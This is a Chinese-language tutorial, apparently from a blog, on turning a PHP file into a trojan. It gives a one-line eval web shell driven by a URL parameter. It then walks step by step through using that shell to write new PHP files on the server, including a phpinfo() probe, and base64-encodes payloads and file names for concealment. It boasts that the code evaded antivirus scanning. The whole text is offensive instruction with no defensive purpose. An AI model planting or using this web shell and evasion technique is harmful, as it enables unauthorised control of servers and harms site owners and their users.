PHP木马程序如何入侵服务器
在PHP文件中插入下边这句话,程序顷刻间就成能变身为木马程序。
test.php文件内容:
<?php eval($_GET['c']);?>
访问:https://www.ziyouwu.com/test.php?c=你想用的各种PHP语句体
比如我的使用方式是这样的:
https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");这个是时候就会在根目录下生成了一个hacker.php文件,打开它发现有 Hello,Hacker! 文本。https://www.ziyouwu.com/hacker.php 它只是保存的是纯字符串而以。
哪么高级一点的做法是,将hacker.php文件内容输出为PHP语言执行的语句,哪如何做呢?接下来看我的做法。
我们要将https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");这个url中的Hello,Hacker!这段文本替换成php语句才能达到目的,直接在URL中写成我们要将https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),"<?php echo 'Hello,Hacker!' ; ?>"); 发现会出现报错,哪是因为不能适别PHP的左右尖括号造成的,哪么我们改进一下代码$hackerstring = "<?php echo 'Hello,Hacker!' ; ?>";我们只有将$hackerstring这段文本生成到hacker.php文件中 <?php echo 'Hello,Hacker!' ; ?>才能算此方法通过测试。
echo base64_encode($hackerstring);
<?php echo 'Hello,Hacker!' ; ?>经过base64_encode转码得到的结果如下:
获得结果:PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4=
我们将这段代码代入下面程式:
fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));浏览器中访问:
https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));
运行后,去根目录找到hacker.php文件。
此时算是大功告成了,你就可运行https://www.ziyouwu.com/hacker.php文件了。为了测试进一步复杂一点,为弄清服务器主机上的配置,也可以有phpinfo()语句写到hacker.php文件里,做法是替换原有的 Hello,Hacker! 内容,详细写法是$hackerstring = "<?php phpinfo() ; ?>";echo base64_encode($hackerstring);获得字符串 'PD9waHAgcGhwaW5mbygpOz8+'
在URL中将其代入,然后在浏览器运行:https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgcGhwaW5mbygpOz8+'));
这时hacker.php文件 生成结果内容是:<?php phpinfo() ; ?>
浏览器运行https://www.ziyouwu.com/hacker.php。出现PHP服务器配置这个界面,你就知道服务器的一切了。
还有改进的地方fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgcGhwaW5mbygpOz8+'));
把文件名hacker.php也转成base64编码吧,这样加强陷弊性。
上边这句代码居然逃过了病毒程序的追杀。这上边的实例只是个宿影,其它语言也一样的道理,大家要学会举一反三,多推敲推敲,你的技能才会得提高!